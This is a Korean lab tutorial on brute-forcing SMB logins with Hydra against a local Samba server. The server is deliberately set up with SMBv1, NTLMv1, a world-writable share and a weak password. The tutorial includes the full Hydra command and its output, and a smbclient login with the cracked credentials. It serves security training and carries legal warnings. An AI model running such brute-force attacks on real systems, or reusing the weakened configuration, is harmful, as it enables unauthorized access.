소개
이 실습에서는 강력한 패스워드 크래킹 도구인 Hydra 를 사용하여 SMB(Server Message Block) 서비스를 공격하는 방법을 배우게 됩니다. 이 실습은 SMB 서버에서 취약한 자격 증명을 식별하고 악용하는 방법을 보여주는 데 중점을 둡니다.
먼저 Samba 를 사용하여 로컬 SMB 서버를 설정합니다. 필요한 패키지를 설치하고, smb.conf 파일을 구성하여 공유 디렉터리를 생성하고 적절한 권한을 설정합니다. 그런 다음 Hydra 공격에 사용할 사용자 및 패스워드 목록을 준비합니다. 마지막으로 Hydra SMB 공격을 실행하고 결과를 확인하여 성공적으로 크랙된 자격 증명이 있는지 확인합니다.
로컬 SMB 서버 설정
이 단계에서는 Samba 를 사용하여 로컬 SMB(Server Message Block) 서버를 설정합니다. SMB 는 컴퓨터의 응용 프로그램이 원격 서버의 파일 및 리소스에 액세스할 수 있도록 하는 네트워크 파일 공유 프로토콜입니다. Samba 는 SMB 네트워킹 프로토콜의 무료 소프트웨어 재구현입니다. 이는 나중 단계에서 Hydra SMB 공격의 대상이 될 것입니다.
먼저 Samba 를 설치합니다. ~/project 디렉터리에서 터미널을 엽니다.
sudo apt update
sudo apt install samba -y
이 명령은 패키지 목록을 업데이트한 다음 Samba 패키지를 설치합니다. -y 플래그는 설치 중에 나타나는 모든 프롬프트에 자동으로 "예"를 입력합니다.
다음으로 Samba 를 구성해야 합니다. 먼저 원본 구성 파일을 백업합니다.
sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak
이제 기존 파일을 직접 덮어쓰는 새로운 깨끗한 구성 파일을 만들겠습니다. 이 방법은 기본 Ubuntu Samba 설정과의 충돌을 방지합니다.
다음 명령을 복사하여 터미널에서 실행합니다. 명령이 정확하게 복사되었는지 확인하십시오.
sudo tee /etc/samba/smb.conf > /dev/null << 'EOF'
[global]
workgroup = WORKGROUP
server string = Samba Server
netbios name = fileserver
security = user
map to guest = never
## 익명 액세스를 비활성화
restrict anonymous = 2
## Hydra 호환을 위해 명시적으로 SMBv1 및 NTLMv1를 활성화
server min protocol = NT1
client min protocol = NT1
ntlm auth = ntlmv1-permitted
## 로컬호스트에 바인딩
interfaces = 127.0.0.1
bind interfaces only = yes
## 로깅
log file = /var/log/samba/log.%m
max log size = 1000
logging = file
debug level = 3
[share]
path = /home/labex/project/share
browsable = yes
writable = yes
guest ok = no
read only = no
valid users = labex
EOF
이 명령은 /etc/samba/smb.conf의 내용을 완전히 새 구성으로 바꿉니다.
중요한 구성 포인트:
map to guest = never- 익명 게스트 액세스를 방지합니다.restrict anonymous = 2- 익명 액세스를 완전히 비활성화합니다.server min protocol = NT1및client min protocol = NT1- Hydra 호환을 위해 SMBv1 을 활성화합니다.ntlm auth = ntlmv1-permitted- 테스트를 위해 NTLMv1 인증을 허용합니다.interfaces = 127.0.0.1및bind interfaces only = yes- 로컬호스트에만 액세스를 제한합니다.guest ok = no- 공유에 대한 게스트 액세스를 비활성화합니다.valid users = labex- 특정 사용자만 액세스할 수 있도록 제한합니다.
전체 파일을 덮어쓰는 이유:
- Ubuntu 의 기본 Samba 설정과의 충돌을 방지합니다.
- Hydra 테스트에 최적화된 깨끗하고 최소한의 구성을 보장합니다.
- 중복 또는 충돌하는 지시문을 제거합니다.
- 모든 사용자에게 일관된 시작점을 제공합니다.
이 구성은 Hydra 가 익명 액세스의 간섭 없이 인증 시도를 제대로 감지할 수 있도록 합니다.
이제 공유 디렉터리를 생성합니다.
mkdir ~/project/share
sudo chmod 777 ~/project/share
이 명령은 ~/project 디렉터리에 share라는 디렉터리를 생성하고 모든 사용자가 읽기, 쓰기 및 실행 권한을 갖도록 권한을 777 로 설정합니다. 참고: 실제 환경에서는 더 제한적인 권한을 사용하는 것이 좋습니다. 이 실습 환경에서는 단순성을 위해 777 을 사용합니다.
다음으로 Samba 사용자를 추가해야 합니다. 이 사용자는 SMB 서버에 인증하는 데 사용됩니다. 시스템에 이미 존재하는 labex 사용자를 사용합니다. 먼저 labex 사용자의 Samba 패스워드를 설정합니다.
sudo smbpasswd -a labex
labex 사용자의 새 패스워드를 입력하라는 메시지가 표시됩니다. password를 입력하고 확인합니다.
New SMB password:
Retype new SMB password:
Added user labex.
마지막으로 변경 사항을 적용하려면 Samba 서비스를 다시 시작합니다.
sudo /etc/init.d/smbd restart
sudo /etc/init.d/nmbd restart
다음과 유사한 출력이 표시됩니다.
* Stopping SMB/CIFS daemon smbd [ OK ]
* Starting SMB/CIFS daemon smbd [ OK ]
* Stopping NetBIOS name server nmbd [ OK ]
* Starting NetBIOS name server nmbd [ OK ]
이 명령은 Samba 구성에 구문 오류가 있는지 확인하고 활성 구성을 표시합니다. 오류 없이 설정이 확인되는 출력이 표시되어야 합니다.
이제 적절한 보안 설정이 적용된 로컬 SMB 서버가 설정되었습니다. share라는 공유 디렉터리를 만들고 labex 사용자를 Samba 패스워드와 함께 추가했습니다. 이 구성은 Hydra 공격과 함께 올바르게 작동하도록 최적화되었습니다.
사용자 및 패스워드 목록 준비
이 단계에서는 Hydra 가 SMB 공격을 수행하는 데 사용할 사용자 및 패스워드 목록을 만듭니다. 이 목록에는 Hydra 가 SMB 서버에 인증하기 위해 사용해 볼 잠재적인 사용자 이름과 패스워드가 포함됩니다.
먼저 사용자 목록을 만듭니다. nano를 사용하여 ~/project 디렉터리에 users.txt라는 파일을 만듭니다.
nano ~/project/users.txt
이 파일에 다음 사용자 이름을 각 줄에 하나씩 추가합니다.
labex
admin
guest
user
test
root
Ctrl+X, Y, Enter 순서로 파일을 저장합니다.
이제 패스워드 목록을 만듭니다. nano를 사용하여 ~/project 디렉터리에 passwords.txt라는 파일을 만듭니다.
nano ~/project/passwords.txt
이 파일에 다음 패스워드를 각 줄에 하나씩 추가합니다.
password
123456
labex
admin
guest
Ctrl+X, Y, Enter 순서로 파일을 저장합니다.
이러한 목록은 시연 목적으로 간단한 목록입니다. 실제 상황에서는 훨씬 더 크고 복잡한 목록을 사용할 것입니다.
이제 사용자 이름 목록이 포함된 users.txt 파일과 패스워드 목록이 포함된 passwords.txt 파일을 만들었습니다. Hydra 는 다음 단계에서 이러한 목록을 사용하여 SMB 서버 패스워드를 크랙하려고 시도할 것입니다.
Hydra SMB 공격 실행
이 단계에서는 첫 번째 단계에서 설정한 SMB 서버에 대해 강제 공격을 수행하기 위해 Hydra 를 사용합니다. Hydra 는 다양한 프로토콜을 지원하는 병렬 로그인 크래커입니다.
~/project 디렉터리에서 터미널을 엽니다.
이제 SMB 서비스를 공격하기 위해 Hydra 명령을 실행합니다.
hydra -L ~/project/users.txt -P ~/project/passwords.txt 127.0.0.1 smb
이 명령을 분석해 보겠습니다.
hydra: Hydra 도구를 실행하는 명령입니다.-L ~/project/users.txt: 사용자 목록 파일 경로를 지정합니다.-P ~/project/passwords.txt: 패스워드 목록 파일 경로를 지정합니다.127.0.0.1: 대상 SMB 서버의 IP 주소 (이 경우 로컬호스트) 입니다.smb: 공격할 서비스 (SMB) 를 지정합니다.
이제 Hydra 는 제공된 목록의 사용자 이름과 패스워드를 사용하여 SMB 서버에 로그인하려고 시도합니다. 유효한 로그인 정보를 찾거나 모든 가능성을 소진할 때까지 모든 사용자 이름과 패스워드 조합을 시도합니다.
1 단계에서 제대로 구성된 SMB 서버를 사용하면 성공적인 자격 증명 발견을 볼 수 있습니다.
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-30 10:52:16
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 30 login tries (l:6/p:5), ~30 tries per task
[DATA] attacking smb://127.0.0.1:445/
[445][smb] host: 127.0.0.1 login: labex password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-30 10:52:17
출력 이해:
[445][smb] host: 127.0.0.1 login: labex password: password라인은 Hydra 가 유효한 자격 증명을 성공적으로 찾았음을 보여줍니다.- 사용자 이름:
labex - 패스워드:
password - 요약에는 "1 개의 유효한 패스워드가 발견됨"이 표시되어 공격 성공을 확인합니다.
중요 참고 사항: 이 공격은 교육 목적으로 로컬 SMB 서버에서 수행되고 있습니다. Hydra 작동 방식을 보여주기 위해 서버를 특별히 구성했습니다. 실제 환경에서는 보안상의 이유로 SMBv1 을 비활성화해야 합니다. 원격 시스템에 대한 무단 공격은 불법적이고 윤리적이지 않습니다.
명령 완료에는 사용자 및 패스워드 목록의 크기에 따라 시간이 다소 소요될 수 있습니다. Hydra 가 패스워드를 성공적으로 해독했을 때 출력을 관찰하십시오.
SMB 공격 결과 확인
이 단계에서는 Hydra SMB 공격의 출력을 분석하여 자격 증명 발견 성공 여부를 확인하고, SMB 공유에 연결하여 해킹된 자격 증명을 검증합니다.
이전 단계에서 Hydra 명령을 실행 (및 문제 해결 단계 적용) 한 후 다음과 유사한 성공적인 출력을 볼 수 있어야 합니다.
[445][smb] host: 127.0.0.1 login: labex password: password
1 of 1 target successfully completed, 1 valid password found
이 줄은 Hydra 가 SMB 자격 증명을 성공적으로 해킹했음을 나타냅니다.
- 사용자 이름:
labex - 패스워드:
password
해킹된 자격 증명 검증:
해킹된 자격 증명이 유효한지 확인하려면 smbclient 명령을 사용하여 SMB 공유에 연결할 수 있습니다. 먼저 설치되어 있지 않은 경우 설치합니다.
sudo apt update
sudo apt install smbclient -y
다음과 유사한 출력을 볼 수 있습니다.
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
libsmbclient
The following NEW packages will be installed:
libsmbclient smbclient
0 upgraded, 2 newly installed, 0 to remove and 252 not upgraded.
...
Setting up smbclient (2:4.15.13+dfsg-0ubuntu1.6) ...
이제 해킹된 자격 증명을 사용하여 SMB 공유에 연결합니다.
smbclient //127.0.0.1/share -U labex%password
이 명령을 분석해 보겠습니다.
smbclient: 서버의 SMB/CIFS 리소스에 액세스하는 명령줄 유틸리티입니다.//127.0.0.1/share: SMB 공유 경로입니다.127.0.0.1은 로컬 SMB 서버의 IP 주소이고,share는 공유 디렉터리 이름입니다.-U labex%password: Hydra 가 해킹한 사용자 이름 (labex) 과 패스워드 (password) 를 지정합니다. 사용자 이름과 패스워드는%기호로 구분됩니다.
연결이 성공하면 smb:\> 프롬프트가 표시되며, 해킹된 자격 증명을 사용하여 SMB 공유에 성공적으로 연결되었음을 나타냅니다.
Try "help" to get a list of possible commands.
smb: \>
그런 다음 exit를 입력하고 엔터 키를 눌러 smbclient 프롬프트를 종료합니다.
exit
이 성공적인 연결은 다음을 확인합니다.
- Hydra 가 SMB 자격 증명을 성공적으로 해킹했습니다.
- 사용자 이름과 패스워드 조합이 유효합니다.
- 공격이 구성된 SMB 서버에 효과적이었습니다.
- 해킹된 자격 증명이 공유 디렉터리에 대한 액세스 권한을 제공합니다.
보안 의미: 이 성공적인 공격은 다음의 중요성을 보여줍니다.
- 강력하고 복잡한 패스워드 사용
- 계정 잠금 정책 구현
- 브루트포스 공격 모니터링
- 불필요한 서비스 및 프로토콜 비활성화
- 정기적인 보안 감사 및 침투 테스트
요약
이 실습에서는 강력한 패스워드 해킹 도구인 Hydra 를 사용하여 SMB 서비스를 공격하는 방법을 배웠습니다. Samba 를 사용하여 로컬 SMB 서버를 설정했으며, 이는 필요한 패키지를 설치하고, Hydra 호환성을 위해 SMBv1 및 NTLMv1 지원이 있는 공유 디렉터리를 생성하도록 smb.conf 파일을 구성하고 적절한 권한을 설정하는 것을 포함합니다.
그런 다음 Hydra 공격에 사용할 사용자 및 패스워드 목록 (users.txt에는 6 개의 사용자 이름, passwords.txt에는 5 개의 패스워드) 을 준비했습니다. 1 단계에서 제대로 구성된 SMB 서버를 사용하여 Hydra SMB 공격은 사용자 이름 labex와 패스워드 password의 유효한 조합을 찾아 SMB 자격 증명을 성공적으로 해킹했습니다.
발견된 자격 증명으로 smbclient를 사용하여 SMB 공유에 연결하여 공격의 성공을 확인했으며, 해킹된 자격 증명이 공유 디렉터리에 대한 정당한 액세스 권한을 제공함을 보여주었습니다.
이 실습은 다음을 효과적으로 보여주었습니다.
- Hydra 의 기능: Hydra 가 SMB 서비스에 대한 사용자 이름과 패스워드 조합을 체계적으로 테스트할 수 있는 방법
- 적절한 구성: 보안 테스트를 위해 대상 서비스를 올바르게 구성하는 중요성
- 브루트포스 공격 방법: 단어 목록을 준비하고 자동화된 공격을 실행하는 과정
- 공격 검증: 성공적인 자격 증명 발견을 확인하는 중요성
- 보안 구성: 적절한 SMB 구성은 익명 액세스를 방지하면서 정당한 인증 테스트를 허용하는 방법
주요 보안 교훈:
- 약한 패스워드는 브루트포스 공격에 취약합니다.
- 적절한 서비스 구성은 보안 및 테스트 모두에 중요합니다.
- 익명 액세스를 비활성화하면 명확한 인증 결과를 얻을 수 있습니다.
- Hydra 와 같은 자동화된 도구는 많은 자격 증명 조합을 신속하게 테스트할 수 있습니다.
- 정기적인 보안 테스트는 공격자가 하기 전에 취약점을 식별하는 데 도움이 됩니다.
중요 참고 사항: 이 공격은 교육 목적으로 특별히 구성된 로컬 SMB 서버에서 수행되었습니다. 실제 환경에서는 SMBv1 을 비활성화하고, 강력한 패스워드 정책을 시행하며, 브루트포스 공격을 감지하기 위한 모니터링을 수행해야 합니다. 원격 시스템에 대한 무단 공격은 불법적이고 윤리적이지 않습니다.


